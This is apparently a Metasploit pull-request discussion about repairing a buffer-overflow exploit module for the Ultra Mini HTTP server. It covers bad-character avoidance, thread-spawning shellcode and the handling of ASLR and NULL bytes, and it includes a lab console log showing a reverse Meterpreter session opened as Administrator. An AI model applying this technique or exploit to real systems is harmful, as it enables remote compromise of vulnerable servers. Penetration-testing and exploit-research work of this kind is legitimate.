Update the Ultra Mini HTTP bof exploit

[OJ]

After exploiting this application manually I decided to make this an MSF exploit, only to find that other people had beaten me to it. However, the existing exploit was broken in a few ways, and this commit makes those problems go away. They include:

• Correct use of alpha chars in the buffer leading up to the payload which results in bad chars being avoided. Bad chars muck with the offsets because they get expanded.
• Adjustment of the payload so that it runs in another thread instead of in the thread of the request handler. This prevents the session from being killed after the hard-coded 60-second timeout that is baked into the application.
• The handler thread terminates itself so that the process doesn't crash.
• Extra targets were added based on the machines I had access to.

The exploit uses the application addresses where possible for things like VirtualAlloc, CreateThread and TerminateThread so that they're portable across instances.

This exploit doesn't bypass ASLR because the EIP overwrite would need to contain an address which doesn't contain a NULL byte. NULL bytes result in the payload being truncated and appends \r\n resulting in a bad address anyway.

I need the likes of @wchen-r7 and @jvazquez-r7 to show me the ways of bypassing ASLR in cases like this so that it can be exploited on more up to date operating systems.

I need to be able to prepend a custom set of shellcode to the payload because this allocates memory, creates the new thread, and shuts the current thread down nicely. However I couldn't see a way of getting this included with the chosen payload before it is encoded. As a result, the payload appended to the custom shellcode encoded, and ends up being double-encoded. This isn't a huge issue as it doesn't really add much weight to the payload and there's plenty of space for it to move.

Tested on Windows 2k Server, Windows XP SP0/SP2/SP3, Windows 2003 Server, all 32-bit. Payloads that were tested are bind/reverse meterpreter, bind/reverse vncinject, bind/reverse shell.

My first MSF exploit, so let me know if I'm doing anything stupid!

Shout out to @todb-r7 ... I told you I'd bring my work into MSF :)

[Meatballs1]

There are prepend and prependencoder options for adding stuff before/after encoding?

[OJ]

The problem with those is that they don't tell me how big the final payload is prior to encoding. Right?

I know I can throw something in there, but I need to calculate stuff based on the size of the resulting payload that the user has chosen. And I can't specify that at runtime.

Ideally, PrependEncoder would allow me to specify a block or a function which takes the payload prior to encoding and returns the blob that needs to be encoded as a whole.

[Meatballs1]

ah bummer!

[Meatballs1]

Could this module be used with Prepend Migrate (fixes pending), or the InitialAutoRunScript migrate technique to get out before the 60seconds?

[OJ]

Yes it could. However it isn't necessary in this case given we have the
ability to solve the problem within the payload itself and it doesn't
require immediate migration.

[jvazquez-r7]

Processing!

[jlee-r7]

There's no need to encode payload.encoded again.

buf << encode_shellcode_stub(new_thread)
buf << payload.encoded

[OJ]

@jlee-r7 I didn't do this because I didn't want to assume the
location/offset of the final payload would be consistent across all runs of
the exploit. I wasn't sure if that was a safe assumption or not. I also
thought that if for some reason the decoder stub changed over time, or if a
different encoder was used, then this would be better.

Thanks for the feedback! I still have so much to learn.

[jvazquez-r7]

I must to say I'm with @Meatballs1 here, using PrependMigrate or InitialAutoRunScript to migrate to a new and clean process looks like a good solution here, plus would use a generic solution available in the framework. On the other hand, this specific solution by @OJ doesn't hurt and solves the problem:

msf exploit(ultraminihttp_bof) > set target 2
target => 2
msf exploit(ultraminihttp_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Sending buffer...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1129) at 2014-02-24 10:35:36 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

So landing after applying the @jlee-r7 feedback!

[OJ]

Thank you @jvazquez-r7 for testing and landing! And thank you for your
feedback. I'll hit you guys on irc with some questions on the prepend
migrate approach. Thanks!